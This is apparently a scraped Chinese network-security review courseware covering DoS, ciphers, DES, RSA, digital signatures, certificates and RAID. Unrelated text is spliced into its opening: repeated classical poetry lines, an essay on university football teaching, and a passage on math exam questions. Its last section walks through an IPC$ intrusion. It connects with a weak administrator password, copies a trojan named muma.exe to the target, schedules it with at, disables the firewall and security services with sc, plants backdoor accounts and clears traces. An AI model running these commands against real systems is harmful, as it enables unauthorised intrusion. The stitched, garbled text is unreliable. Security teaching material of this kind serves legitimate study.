网络安全总复习课件

网络安全总复习11、不为五斗米折腰。12、芳菊开林耀，青松冠岩列。怀此贞秀姿，卓为霜下杰。13、归去来兮，田蜀将芜胡不归。14、酒能祛百虑，菊为制颓龄。15、春蚕收长丝，秋熟靡王税。网络安全总复习网络安全总复习11、不为五斗米折腰。12、芳菊开林耀，青松冠岩列。怀此贞秀姿，卓为霜下杰。13、归去来兮，田蜀将芜胡不归。14、酒能祛百虑，菊为制颓龄。15、春蚕收长丝，秋熟靡王税。网络安全网络安全：从本质上讲，网络安全就是网络上的信息安全，是指网络系统的硬件、软件和系统中的数据受到保护，不受偶然的或者恶意的攻击而遭到破坏、更改、泄露，系统连续可靠正常地运行，网络服务不中断；广义上讲，凡是涉及到网络上信息的保密性、完整性、可用性、真实性和可控性的相关技术和理论都是网络安全所要研究的领域。引言足球运动是风靡世界的运动之一，很多国家都拥有自己的足球联赛，国际上每年也会举办洲际比赛与世界比赛，四年一度的世界杯更是全球足球迷的盛宴，我国的足球成绩虽然在进几年一直不尽如人意，但是国家和球迷从未放弃希望。国家要求对高校学生进行全面教育，因此在各个高校开设了足球课程，对高校学生进行足球教学，但是由于缺乏相关教师与教学经验，高校足球教学的效果并不好，因此高校足球教学在新形势下必须进行改革，保证高校足球的教学质量与教学效果。一、新形势下高校足球改革的必要性（一）增强高校学生的身体素质我国高校学生目前的身体素质普遍偏低，在这样的情况下正需要高强度运动的锻炼来增强高校学生的身体素质，足球运动中需要通过大量的跑动来进行运球，在接球时也要观察球的具体落点之后尽快跑到相应的位置，对于跑步的速度是一个锻炼；在防守时有时需要和对方进行身体对抗与拼抢，在足球运动中允许铲球的存在，而进行这些动作的基础都需要力量，如果力量不如对方，那么在拼抢与身体对抗中必然要落于下风，在进行铲球时也不能成功，足球运动也能够充分锻炼高校学生的力量，速度与力量方面的锻炼是对人身体最为重要的两方面锻炼，通过足球运动对身体的锻炼可以让学生的身体素质得到有效提高。（二）培养高校学生团队协作能力当代高校学生大多数是独生子女，他们在大多数情况下都会以自我作为中心，很少去为他人考虑，但是在足球运动中却是不同的，以往的高校足球教学偏重个人训练，但是目前的改革要求加入足球竞赛，这对于高校学生的团队协作能力是一个考验，也是培养高校学生团队协作能力的机会，足球运动要求每支队伍在场上有11名球员，除守门员外剩下的10名球员分工各有不同，有前锋、中场、后卫，他们担负着不同的职能，高校学生在首先要面对的就是这一方面的问题，要为团队着想，每个位置都要有人担任，比赛才能进行，在赛场上要充分信任你的队友，敢于把球传给别人，杜绝个人英雄主义，通过团队配合才能够获得比赛的胜利。（三）提升高校学生的心理素质高校学生在校期间以及毕业之后都会面对多重问题，在校时需要面对考试问题、考研问题、毕业问题等，毕业后又要面对就业问题，这些都要求高校学生有着强大的心理素质，可以应对众多问题，高校足球教学改革为原有的足球教学增添了许多新的内容，高校学生在进行足球运动时能够暂时的忘掉这些问题，充分对身体进行锻炼，释放自己的压力，而且在足球竞赛中，面对长达90分钟的高强度运动，没有强大的心理素质是无法支撑到不塞结束的，因此新形势下足球教学的改革能够充分提升高校学生的心理素质。二、高校足球教学存在的问题（一）教学方法老旧我国高校足球教学中，教师仍旧展主导地位，而且教师并不熟悉目前新提出的诸多教学方法，只会使用老旧的教学方法对学生进行教学，学生在接受这样的教学时很容易会感到厌倦，这就造成了高校足球教学教学效率较低，教学质量较差，学生无法从当前的足球教学中学习到真正的东西；足球战术的变化也是日新月异，教师需要根据具体情况对自身的教学方法做出调整，但是教师过于重视对传统战术的讲解，忽略了新战术的使用，这也是高校足球教学方法老旧的表现之一。（二）缺乏师资力量高校应该重视对学生能力的全面提高，但是往往有些高校却厚此薄彼，过于重视专业课、公共课方面的教学，却忽略了体育课的作用，对于足球教学的投入与关注度不够，一个足球教师往往要负责几个系学生的足球教学，这样的教学教师无法兼顾到每个学生，很多学生无法在足球教学课程中有所收获，足球水平与身体素质无法得到有效的锻炼，教师自身在教学中往往只重视能力较为突出的学生，而忽略了对其他学生的教学。三、新形势下高校足球改革策略（一）树立新的教学观念在教学过程中，足球教师应该发挥出足球这一运动的特性，抓住学生爱玩的心理，让整个教学过程充满趣味性，让学生喜欢上足球运动，体会到足球运动带给自己的重要作用，并且对自身的身体能力与心理素质进行锻炼，保证自身拥有较强的能力，在未来能够适应社会的变化，在社会中生存与发展。（二）建设相关教师团队高校应该相应国家的号召重视对高校学生进行的足球教学，为学生建设一支具有高素质、高水平的教师团队，可以聘请具有足球专业知识的教师或职业足球队伍的教练员来高校进行任教，让每一个学生在足球教学课上都能够有所收获，掌握熟练的足球技巧，锻炼自身的身体素质与心理素质，对足球知识有着更深的了解。（三）转变当前教学模式目前我国高校足球教学课程模式较为单一，内容较为枯燥，在对教学模式与课程内容进行设计时没有咨询过学生的意见，因此需要对高校足球课程的教学模式进行转变，以往的教学模式与教学内容向各个高校说明了它们自身存在着弊端，而且很多高校的足球课程属于选修课，教师对待这一课程的态度也不够认真，因此教师在对教学模式与教学内容进行设计时要充分考虑到学生的情况，对不同水平的学生进行不同程度的教学，并且根据学生的实际情况设计出不同的教学方案，认真的对自己所负责的学生进行教学，让学生在足球课程中能够体会到运动所带来的快乐，充分锻炼自己的身体与意志。开放题是相对于封闭题而言的，是指题目中的条件或结论不完全确定的题目.近些年，在各地的中考题中都有开放题的影子，对学生而言，数学开放题有利于调动学生的学习兴趣，发展各方面的思维能力；对教师而言，教师应精于开放题的研究，学习开放题的编制策略，这样既可以帮助学生从容应对中考，更能培养学生的数学思考能力、解题能力.下面采用戴再平的分类方法，按命题要素分为条件?_放题、策略开放题、结论开放题、综合开放题，给出四种教师可以借鉴的开放题编制方法.条件开放题题目中的条件没有给出或者部分给出，结论是固定的，要求学生从不同角度尝试寻找使结论成立的条件，有利于培养学生思维的敏捷性以及主动分析问题、解决问题的能力.案例1已知3×3的网格图都是由9个相同的小正方形组成的，每个网格图中有3个小正方形已涂上阴影（如图1～图3），请在余下的6个空白小正方形中按下列要求涂上阴影：（1）选取1个涂上阴影，使4个阴影小正方形组成一个轴对称图形，但不是中心对称图形；（2）选取1个涂上阴影，使4个阴影小正方形组成一个中心对称图形，但不是轴对称图形；（3）选取2个涂上阴影，使5个阴影小正方形组成一个轴对称图形.（请将三个小题依次作答在图1、图2、图3中，均只需画出符合条件的一种情形）这道题是2016宁波中考第20题，既是一道条件开放题，又是一道设计题.作为一道中考题，首先答案具备规范性，便于批卷老师评分，也符合学生的最近发展区，能够让学生从多个角度探索问题.本题考查学生对轴对称图形和中心对称图形的认识，学生平常接触到的题目往往是判断一个图形是否是轴对称图形、中心对称图形，此题反向出题，让学生自己去构造出满足条件的图形，更能考查学生的探索创新能力.题目的要求是使阴影部分成为一个满足条件的图形，学生可采用枚举法在空白处依次涂阴影来判断.由于题目要求“只需画出符合条件的一种情形”，因此学生考虑的不全面也不会影响此题的答案.但如果将此题进行变式，改为“符合条件的画法共有几种”或“将所有画法全部画出”，则对学生要求较高，需要学生思维全面.作为教师，在对开放题进行讲解以后，若进行恰当的变式，更能充分发挥开放题的用处，以拓展学生的思维能力.结论开放题结论作为未知要素，题目的条件是固定的，要求学生在已知条件下探索结论的多样性，能够培养学生对所学基本知识的应用能力以及发散思维，这也是中考中出现频率较高的一类开放题，经常出现在填空题中，有多种答案可供学生选择.案例2存在两个变量x与y，y是x的函数，该函数同时满足两个条件：①图像经过点（1，1）；②当x>0时，y随x的增大而减小，请各写出一个满足条件的一次函数、反比例函数和二次函数的解析式.本题来自一道中考真题的改编，让学生写出三个分别满足条件的函数解析式，答案不唯一，重点在于学生能否把握这三个函数的特点.要使得x>0时，y随x的增大而减小，那么学生要知道一次函数必须满足条件k0时y随x的增大而减小，又需经过（1，1），则k=1，满足条件的反比例函数只有一个.二次函数的一般表达式是y=ax2+bx+c，需满足a网络安全总复习11、不为五斗米折腰。网络安全总复习网络安全总1网络安全总复习课件2网络安全总复习课件3网络安全总复习课件4网络安全总复习课件5

钓鱼网站一种网络欺诈行为，指不法分子利用各种手段，仿冒真实网站的URL地址以及页面内容，或者利用真实网站服务器程序上的漏洞在站点的某些网页中插入危险的HTML代码，以此来骗取用户银行或信用卡账号、密码等私人资料。

什么是钓鱼网站什么是钓鱼网站6通信过程中的四种攻击方式图1-1通信过程中的四种攻击方式图1-17拒绝服务攻击(DoS)DoS--DenialofService：用超出被攻击目标处理能力的海量数据包消耗可用系统、带宽资源等方法的攻击。导致服务器不能正常为合法用户提供服务的攻击。拒绝服务攻击(DoS)DoS--DenialofServ8攻击者

目标主机SYNSYN/ACKACK等待应答SYN：同步SYN/ACK:同步/确认ACK：确认SYN攻击的原理（1）攻击者目标主机SYNSYN/ACKACK等待应答SYN：同9....SYN/ACKSYN/ACKSYN/ACKSYNSYNSYN攻击者目标主机SYNSYN/ACK1nSYN/ACKSYN/ACKSYN/ACKSYN/ACK....等待ACK应答.........不应答不应答重新发送SYN攻击的原理（2）....SYN/ACKSYN/ACKSYN/ACKSYNSY10PDRR安全模型信息安全保障的PDRR模型的内涵已经超出了传统的信息安全保密，而是保护（Protection）、检测（Detection）、响应（Reaction）和恢复（Restore）的有机结合。PDRR安全模型11安全技术评价标准1983年美国国防部颁布了安全标准5200.28：可信计算系统评估准则TrustedComputingSystemEvaluationCriteria，即桔皮书。TCSEC共分为如下4类7级：（1）D级，安全保护欠缺级。（2）C1级，自主安全保护级。（3）C2级，受控存取保护级。（4）B1级，标记安全保护级。（5）B2级，结构化保护级。（6）B3级，安全域保护级。（7）A1级，验证设计级。安全技术评价标准1983年美国国防部颁布了安全标准5200.12密码学密码学13第14页密码的目标对于任何一个密码系统，其目标都是：只有掌握密钥的情况下才能将密文恢复成明文。即：攻击者即使掌握了密码算法的全部细节和其他信息，仍然不能在没有密钥的情况下恢复明文。第14页密码的目标对于任何一个密码系统，其目标都是：14第15页E加密算法密文D解密算法明文M明文M加密密钥Ke解密密钥Kd加密函数E作用于M得到密文C，用数学表示为：E（M）=C.相反地，解密函数D作用于C产生M

D（C）=M.

密码体系示意图第15页E密文D明文M明文M加密密钥Ke解密密钥Kd15第16页古典密码简单代替密码双重置换密码一次一密电子本密码第16页古典密码简单代替密码16第17页简单代替密码简单代替密码的简单实现

就是将明文按照字母表中当前字母后移N位加密产生的。通过查找明文行中的字母，并用密文行中对应的字母进行代替。第17页简单代替密码简单代替密码的简单实现17第18页简单代替密码简单代替密码的解密通过查找密文行中的字母，并用明文行中对应的字母进行代替。

移动3位的简单代替密码，称为凯撒（Caesar）密码第18页简单代替密码简单代替密码的解密18第19页Ceasar’sCipherDecryptionPlaintext:spongebobsquarepantsabcdefghijklmnopqrstuvwxyDEFGHIJKLMNOPQRSTUVWXYZABzCPlaintextCiphertextSupposeweknowaCeasar’scipherisbeingused:Givenciphertext:VSRQJHEREVTXDUHSDQWV第19页Ceasar’sCipherDecryption19第20页2.2.1简单代替密码如果限定简单代替就是字母表则所有可能的密钥n是0~25。

若攻击者截获密文CSYEVIXIVQMREXIH

则攻击者能够尝试所有26种可能的密钥，来解密密文，并判断所解密文是否具有意义。第20页2.2.1简单代替密码如果限定简单代替就是字母表20第21页什么是蛮力破解？通过尝试所有可能的密钥直至遇到正确的密钥，即穷举搜索密钥。所以密钥数应该足够大，以使得攻击者在合理的时间范围内没有办法穷举。蛮力破解第21页什么是蛮力破解？通过尝试所有可能的密钥直至遇到正确的21第22页双重置换密码双重置换密码的简单实现

首先将明文写成给定大小的矩阵形式，然后根据特定的置换规则进行行和列的置换。第22页双重置换密码双重置换密码的简单实现22第23页DoubleTranspositionPlaintext:attackxatxdawnPermuterowsandcolumnsCiphertext:xtawxnattxadakcKeyismatrixsizeandpermutations:(3,5,1,4,2)and(1,3,2)第23页DoubleTranspositionPlaint23第24页密码编码学分类对称密码-SymmetricKey公钥密码-PublicKey

Hash函数-Hashalgorithms第24页密码编码学分类对称密码-SymmetricKey24第25页3.1对称密钥密码对称密钥密码：提供一个双向信道：A和B共享一个秘密密钥，双方既能加密信息发送给对方，也可以解密从对方得到的密文信息。第25页3.1对称密钥密码对称密钥密码：25第26页3.1对称密钥密码加密解密明文P密文C明文P密钥(K)对称密码体制(symmetriccryptosystem)加密密钥和解密密钥是相同的C=E(K,P)P=D(K,E(K,P))第26页3.1对称密钥密码加密解密明文P密文C明文P密钥(26第27页3.1对称密钥密码按照明文的处理方法分分组密码(blockcipher)流密码(streamcipher)第27页3.1对称密钥密码按照明文的处理方法分27第28页3.3.2数据加密标准-DES数据加密标准DataEncryptionStandard：是20世纪70年代提出的是基于IBM公司提出的Feistel结构的Lucifer密码设计的DES后来成为美国政府的官方标准DES是第一代公开的、完全说明细节并完全商业化得现代加密技术，并被世界公认。第28页3.3.2数据加密标准-DES数据加密标准Da28第29页DES算法简介（了解）DES是分组密码，明文分组长度为64bits(8bytes)密钥长度为64bits，有8bits奇偶校验，有效密钥长度为56bits。算法主要包括：初始置换IP(Initial

Permutation)16轮迭代的乘积变换逆初始置换IP-116个子密钥产生器。第29页DES算法简介（了解）DES是分组密码，明文分组长29第30页IPL0R0L1=R0R1=L0⊕f(R0,K1)R2=L1⊕f(R1,K2)L2=R1明文L15=R14R16=L15⊕f(R15,K16)R15=L14⊕f(R14,K15)L16=R15IP-1密文fK1fK2fK16DES加密流程图第30页IPL0R0L1=R0R1=L0⊕f(R0,K1)30第31页4.1公钥密码公钥密码：非对称加密算法（AsymmetricAlgorithm）也称公开密钥算法（PublicKeyAlgorithm），双钥密码。

对称密钥密码系统和非对称密钥密码系统将会同时共存，并继续为公众提供服务。它们是相互补充的，一种系统的优势可以弥补另一种系统的劣势。第31页4.1公钥密码公钥密码：31第32页对称密码的不足密钥管理量的困难传统密钥管理：两两分别用一个密钥时，则n个用户需要C(n,2)=n(n-1)/2个密钥，当用户量增大时，密钥空间急剧增大。密钥必须通过某一信道传输，对这个信道的安全性的要求比正常的传送消息的信道的安全性要高数字签名的问题传统加密算法无法实现抗抵赖的需求。第32页对称密码的不足密钥管理量的困难32第33页4.1公钥密码对称密钥密码，加密和解密使用同一密钥。公钥密码，加密中使用一个密钥（可以公开，叫公钥），解密使用另外一个密钥。公钥密码解决了对称密码中，如何安全地进行密钥分配的问题第33页4.1公钥密码对称密钥密码，加密和解密使用同一密钥33第34页4.1非对称密钥密码加密解密明文P密文C明文P加密密钥Ke解密密钥KdC=E(Ke,P)P=D(Kd,E(Ke,P)非对称密码体制(asymmetriccryptosystem)加密密钥和解密密钥是成对出现加密过程和解密过程不同，使用的密钥也不同第34页4.1非对称密钥密码加密解密明文P密文C明文P加密34第35页对称、非对称密钥密码系统两种系统在概念上的不同，基于保存秘密方法不同。对称密钥密码系统中，秘密必须在两个人之间共享非对称密钥密码系统中，秘密是个人独享的，每个人都创建并保存自己的秘密。在一个有n个人的组织中，对称密钥密码系统，需要有n(n-1)/2个共享秘密。对于非对称密钥密码系统，只需要n个个人秘密。对于一个有一百万人的组织来说，对称密钥密码系统需要五亿个共享秘密；非对称密钥密码系统需要一百万个个人秘密。第35页对称、非对称密钥密码系统两种系统在概念上的不同，基于35第36页对称、非对称密钥密码系统加密之外，其他安全方面的问题需要运用非对称密钥密码系统，如：公正和数字签名（基于个人秘密的应用程序）。对称密钥密码系统基于符号（字符或比特）的代换和置换，非对称密钥密码系统则基于把数学函数应用于数字。即在非对称密钥密码系统中，明文和密文都是数字，加密和解密就是把数学函数应用于数字以创建另外一些数字的过程。第36页对称、非对称密钥密码系统加密之外，其他安全方面的问题36第37页双方的需要非对称密钥密码系统是用数学函数进行加密和解密，比对称密钥密码系统要慢得多，对于大信息的加密，对称密钥密码系统还是需要的。在公证、数字签名和密钥交换等方面需要非对称密钥密码系统。今天为了能够利用安全的各个方面，既需要对称密码密码系统，也需要非对称密码系统。是相互补充的。第37页双方的需要非对称密钥密码系统是用数学函数进行加密和解37第38页公钥密码的特点加密与解密的密钥不同公钥密码的密钥是一组密钥对（公钥,私钥）可以公开的密钥称为公钥，必须保密的密钥称为私钥。知道密码算法和公钥，从公钥得到私钥在计算上是不可行的两个密钥配对使用公钥加密信息，私钥解密信息私钥签名信息，公钥验证签名第38页公钥密码的特点加密与解密的密钥不同38第39页公钥密码的加密明文明文HiBobAliceB的私钥密文AliceBobA加密B解密HiBobAliceHiBobAliceHiBobAlice公开保密B的公钥第39页公钥密码的加密明文明文HiBobB的私钥密文Al39第40页4.1公钥密码公钥密码体制是基于“单向陷门函数”的。单向陷门函数是满足下列条件的函数f：(1)给定x，计算y=f(x)是容易的；(2)给定y,计算x使x=f-1(y)是不可行的。(3)存在k，已知k

时,对给定的任何y，若相应的x存在，则计算x使fk-1(y)是容易的。即：给出y和陷门K（秘密），很容易计算x。

第40页4.1公钥密码公钥密码体制是基于“单向陷门函数”的40第41页4.1公钥密码-单向陷门函数单向陷门函数。即一个函数正向计算很容易；但是反向计算则十分困难。陷门的目的是确保攻击者不能使用公开的信息得出秘密的信息。如：计算两个素数p和q的乘积N=pq很容易，但是给定N(如果N很大)分解它的因子p和q则是困难的。

第41页4.1公钥密码-单向陷门函数单向陷门函数。41第42页4.1公钥密码Bob拥有公钥和私钥组成的密钥对任何人都可以使用Bob的公钥加密消息给Bob；但只有Bob本人才能对消息进行解密；应为只有Bob拥有私钥。

第42页4.1公钥密码Bob拥有公钥和私钥组成的密钥对42第43页4.1公钥密码Bob拥有公钥和私钥组成的密钥对Bob能够使用他的私钥进行“加密”得到消息M的签名；任何人都可以使用Bob的公钥“解密”这条消息；这是公钥密码最有用的特性之一。

第43页4.1公钥密码Bob拥有公钥和私钥组成的密钥对43第44页公钥密码的签名文件A签名的文件HiBobAliceA的公钥A的私钥签名文件AliceBobA签名B验证HiBobAlice保密公开HiBobAliceAliceHiBobAliceAlice第44页公钥密码的签名文件A签名的文件HiBobA的公钥44第45页4.3RSARSA公钥加密算法是1977年由Rivest、Shamirh和Adleman在（美国麻省理工学院）开发的。RSA取名来自开发他们三者的名字。RSA是目前应用最广泛的公钥密码算法，它能够抵抗到目前为止已知的所有密码攻击，已被ISO推荐为公钥数据加密标准。

第45页4.3RSARSA公钥加密算法是1977年由Riv45第46页4.3RSARSA算法基于一个十分简单的数论事实：将两个大素数相乘十分容易，但要对其乘积进行因式分解却极其困难，因此可以将乘积公开作为加密密钥。

第46页4.3RSARSA算法46第47页RSA算法选择两个大素数p和q，并计算乘积N=pq选择与(p1)(q1)互素的整数e并求解模(p1)(q1)的e的乘法逆，记为d

即ed=1mod(p1)(q1)Publickey

is(N,e)Privatekey

isd第47页RSA算法选择两个大素数p和q，并计算乘积N=47第48页DES和RSA算法的特点和比较(1)DES的特点可靠性较高(16轮变化，增大了混淆性和扩散性，输出不残存统计信息)；加密/解密速度快；算法容易实现(可由软件和硬件实现，硬件实现速度快)，通用性强；算法具有对称性，密钥位数少，存在弱密钥和半弱密钥，便于穷尽攻击；密钥管理复杂。第48页DES和RSA算法的特点和比较(1)DES的特点48第49页(2)RSA算法的特点密钥管理简单(网上每个用户仅保密一个密钥，且不需密钥配送)；便于数字签名；可靠性较高(取决于分解大素数的难易程度)；算法复杂，加密/解密速度慢,难于实现。DES和RSA算法的特点和比较第49页(2)RSA算法的特点DES和RSA算法的特点和比49第50页4.4公钥密码的应用公钥密码与对称密码相比有两个优点：使用公钥密码，不需要实现共享密钥。使用公钥密码，进行数字签名，不仅能提供完整性，还能够提供不可否认性。

第50页4.4公钥密码的应用公钥密码与对称密码相比有两个优50第51页规定符号(签名)SignmessageMwithAlice’sprivatekey:[M]Alice(加密)EncryptmessageMwithAlice’spublickey:{M}AliceThen{[M]Alice}Alice=M[{M}Alice]Alice=M第51页规定符号(签名)SignmessageMwit51第52页秘密性和不可否认性假设Alice想发送消息M给Bob，出于秘密性的考虑，Alice使用Bob的公钥对M加密:{M}Bob为了确保完整性和不可否认性，她使用她的私钥对M签名。采用如下两种方法哪一种呢?Signandencrypt{[M]Alice}BobEncryptandsign[{M}Bob]Alice两种操作顺序对安全性有无影响？第52页秘密性和不可否认性假设Alice想发送消息M给Bob52第53页场景一假设Alice和Bob正在热恋，Alice决定发送消息M=“Iloveyou”给Bob使用先签名后加密，她发送{[M]Alice}Bob

给Bob不久之后，Alice和Bob出现感情危机，出于恶意，Bob收到后解密获得签名的消息[M]Alice,并将其加密为{[M]Alice}Charlie

，并将消息发送给Charlie于是Charlie以为Alice爱上了他这个误会使得Charlie和Alice之间很尴尬第53页场景一假设Alice和Bob正在热恋，Alice决定53第54页SignandEncryptAliceBob{[M]Alice}BobQ:Whatistheproblem?A:Charliemisunderstandscrypto!Charlie{[M]Alice}CharlieM=“Iloveyou”第54页SignandEncryptAliceBob{[54第55页场景二Alice通过此事得到教训，再也不采用先签名再加密的方法当她需要同时实现秘密性和不可否认性时，她选择先加密再签名一段时间之后，Alice和Bob感情复合，Alice获得重要考古发现，要告诉Bob

[{M}Bob]Alice

发送给Bob然而Charlie对于上次的愚弄很生气，他能偶截获Alice的消息并进行攻击Charlie使用Alice公钥计算出{M}Bob

第55页场景二Alice通过此事得到教训，再也不采用先签名再55第56页场景二并用自己的私钥签名后发给BobBob收到消息后，认为重大考古是Charlie发现的，并立即给Charlie颁发奖金Alice听说后，发誓再也不用先加密再签名的方法了那该怎么办呢？第56页场景二并用自己的私钥签名后发给Bob56第57页EncryptandSignAliceBob[{M}Bob]AliceNotethatCharliecannotdecryptMQ:Whatistheproblem?A:Bobmisunderstandscrypto!Charlie[{M}Bob]CharlieM=“Mytheory,whichismine….”第57页EncryptandSignAliceBob[{57数字签名的实现目前应用最广泛的数字签名加解密算法是RSA因RSA的公钥、私钥太长太复杂，不便于记忆和管理，一般以文件的形式存储，该文件同时还包含用户的个人信息，真正实现“个人签名”的效果。一般把这种文件称为数字证书。数字签名的实现目前应用最广泛的数字签名加解密算法是RSA58数字证书之所以可以称之为“证书”，就一定要有“防伪”功能。因为证书中要包含用户的个人身份信息（如姓名、单位，电子邮件等），并且最重要的，还有用户的密钥。试想一下，如果任何人都可以自定义信息并发布证书，谁能保证真伪呢？就像现实生活中的个人身份一样，任何人都能认证么？数字证书引入数字证书之所以可以称之为“证书”，就一定要有“防伪”功能。因59因此，正如身份证由国家权威部门（公安部）来颁发。让我们重新定义数字证书，数字证书是由一个权威机构发行的，至少包含一个公钥、证书持有人（或单位）的名称以及证书授权中心对这些信息的数字签名的文件。一般情况下证书中还包括密钥的有效时间，发证机关(证书授权中心)的名称，该证书的序列号等信息。数字证书DigitalCertificate数字证书就相当于互联网上的通信双方的身份证因此，正如身份证由国家权威部门（公安部）来颁发。数字证书Di60颁发数字证书的机构称为CA（CertificateAuthority,即认证中心）是在电子交易中承担安全认证服务，签发数字证书，确认用户身份等工作的互联网上具有权威性和公正性的一个普遍可信的第三方服务机构。类似生活中颁发身份证的公安部门数字证书的获取颁发数字证书的机构称为数字证书的获取61A加密B解密明文明文B的公钥B的私钥密文加密模型A加密(签名)B解密(验证)明文明文A的私钥A的公钥密文认证模型课前回顾AB明文明文B的公钥B的私钥密文加密模型AB明文明文A的私钥62采用数字签名，应该实现的功能：保证信息是由签名者自己签名发送的，

签名者不能否认或难以否认。保证信息自签发后到收到止未作任何改动，签发的文件是真实完整的。数字签名的功能采用数字签名，应该实现的功能：数字签名的功能63一个简单的数字签名原理从理论上说，采用公钥体制技术进行的应用，其实就是一个签名签证的过程。即：发送方用私钥对某个文件进行加密（签名），接收方利用发送方的公钥进行解密（验证）。为何采用对称密码技术的应用就不能称为签名呢？就是因为加解密密钥相同，无法实现身份验证。但非对称密码技术加解密密钥不同，可以实现“公钥/私钥”密钥对的唯一性。一个简单的数字签名原理从理论上说，采用公钥体制技术进行的应用64研究非对称密码技术（如RSA）的理论模型，我们知道，其加解密速度是很慢的，尤其不适合数据量大的加解密。如何改进呢？简单签名面临的问题研究非对称密码技术（如RSA）的理论模型，我们知道，其加解密65Hash函数Hash，一般翻译做“散列”，也有直接音译为“哈希”的，也叫杂凑函数，就是把任意长度的输入信息通过特定的算法，变换成固定长度的输出值（也称摘要）。因此，Hash算法属于典型的压缩映射。Hash函数必须满足以下特征：任意长度的输入值，生成固定长度的输出值不同的输入，一定生成不同的输出。不可能从输出值来确定输入信息，即不可逆Hash函数Hash，一般翻译做“散列”，也有直接音译为“哈66计算机实体安全计算机实体安全67磁盘阵列（RAID）配置磁盘阵列配置RedundantArrayofIndependentDisks独立磁盘冗余阵列，简称磁盘阵列。

XX公司更高的存储性能自动备份、数据恢复能力磁盘阵列（RAID）配置磁盘阵列配置RedundantA68简单的说，RAID是一种把多块独立的硬盘（物理硬盘）按不同方式组合起来形成一个硬盘组（逻辑硬盘），从而提供比单个硬盘更高的存储性能和提供数据冗余的技术。组成磁盘阵列的不同方式称为RAID级别（RAIDLevels）。RIAD及RIADLevels简单的说，RAID是一种把多块独立的硬盘（物理硬盘）按不同方69RAIDLevels—RAID0RAID0连续以位或字节为单位分割数据，并行读/写于多个磁盘上。没有校验数据，只是单纯地提高性能，并没有为数据的可靠性提供保证，A0A1A2A3A4A5A6A74N-24N-14N4N-3............磁盘0磁盘2磁盘3磁盘1File1234优点：1.是最快，最有效率的阵列类型；2.没有容量损失（所有的存储空间都可用）。缺点：没有容错能力。一个磁盘出错导致损失所有阵列内的数据。典型应用：特别适用于对性能要求较高，而对数据安全不太在乎的领域，如图形工作站等。对于个人用户，RAID0也是提高硬盘存储性能的绝佳选择。RAIDLevels—RAID0RAID0A0A1A270RAIDLevels—RAID1RAID1镜像（每两个硬盘的内容一模一样

）需要至少两块硬盘A0A0A1A1NN......磁盘0磁盘1File1234优点：1.对数据进行了完全的备份，其可靠性是最高的2.读取性能较单磁盘高。缺点：空间利用率只有50%。典型应用：随机数据写入，要求安全性高，如服务器、数据库存储领域。RAIDLevels—RAID1RAID1A0A0A171RAIDLevels—RAID5RAID5有校验数据，提供数据容错能力至少需要3块硬盘，最好使用相同容量相同速度的硬盘

校验值分散在各个盘的不同位置，相当程度的分散了负载，故有较好的性能，优点：会实现RAID0的高速存储读取并且也会实现RAID1的数据恢复功能。缺点：一般需要价格昂贵的硬件设备raid卡。典型应用：要求存储性能、数据安全和存储成本兼顾的领域，如金融、银行和股市的联机交易系统（OLTP）。RAIDLevels—RAID5RAID5优点：会实现72网络入侵网络入侵73IPC$入侵InternetProcessConnectionIPC$可以被理解为一种“专用管道”，可以在连接双方建立一条安全的通道，实现对远程计算机的访问。简单说就是一个特殊的共享资源。IPC$入侵是利用IPC$共享和弱口令实现对远程计算机非授权访问的一种入侵方法。IPC$入侵InternetProcessConnec74入侵前奏备注：可事先使用IP扫描、端口扫描等方面的软件确定活动主机的IP及139、445端口是否开放入侵前奏备注：75第一步：建立连接语法：netuse\\IP地址(或计算机名)\IPC$“密码”/user:“用户名”例如：netuse\\192.168.56.101\ipc$“123”/user:“administrator”第一步：建立连接语法：76第二步：操控远程计算机只要第一步顺利完成，你就有操控远程计算机的权限了。比如：查看远程计算机的硬盘内容向远程计算机上复制文件（如木马程序，脚本命令文件等）远程计算机上的服务控制远程计算机上的进程查看和终止（如关闭防火墙软件、杀毒软件等）在远程计算机上创建用户账户（一般为下次入侵的后门账户）重启（关闭）远程计算机修改远程计算机的注册表“打扫战场”（清理入侵痕迹）第二步：操控远程计算机只要第一步顺利完成，你就有操控远程计算77查看远程计算机的内容使用netview查看网络中的共享资源使用netuse（推荐）,例如：netuseZ:\\192.168.56.101\c$netuseY:\\192.168.56.101\admin$查看远程计算机的内容使用netview查看网络中的共享资源78向远程计算机复制文件使用“我的电脑”使用copy命令(最好掌握),例如：copyc:\muma.exeY:\system32向远程计算机复制文件使用“我的电脑”79远程计算机上运行程序任务计划可以采用交互式方式添加，也可使用命令at（最好掌握）最常用法：at[\\远程计算机IP]运行的时间命令或程序如：at\\192.168.56.101

16:35

c:\windows\muma.exe备注：如何得知远程计算机的当前时间呢？可用nettime命令，如：nettime\\192.168.56.101远程计算机上运行程序任务计划可以采用交互式方式添加，也可使用80远程计算机上的服务控制对于网络入侵而言，对远程计算机上的服务控制显得十分重要。如关闭其防火墙，打开其任务调度等等，便于你更好的控制入侵的主机一般有2种方式：一是用图形界面操作，即用本机的服务控制台程序，如下图二是用命令sc（推荐）远程计算机上的服务控制对于网络入侵而言，对远程计算机上的服务81sc命令最常用法scstart服务名如：scstartlanmanserver 开启文件共享服务scstop服务名如：scstopSharedAccess 关闭内置防火墙scconfig服务名start=(auto/disabled)配置某个服务的启动类型（自动启动、已禁用）如：scconfigTlntSvrstart=auto(注意：=与值间有一空格)sc命令最常用法scstart服务名82附：常用手法scstartlanmanserver 开启文件共享服务scstartRemoteRegistry 开启远程注册表服务scstartSchedule 开启任务计划服务scstartTlntsvr 开启Telnet服务scstopSharedAccess 关闭内置防火墙scstopwuauserv 关闭安全中心通知scstopwscsvc 关闭自动更新一旦入侵成功，攻击者为了更方便控制远程主机，常采用以下手法：原则就是：碍事的服务统统关闭，方便之门统统开启附：常用手法scstartlanmanserver 开83远程计算机上的进程查看和终止众所周知，欲查看本机正在运行的程序或进程，可使用“任务管理器”如何操纵远程主机上正运行的程序或进程呢？远程计算机上的进程查看和终止众所周知，欲查看本机正在运行的程84远程计算机上的进程查看使用命令 tasklist：查看运行的程序或进程tasklist/s远程主机IP/u用户名/p密码远程计算机上的进程查看使用命令 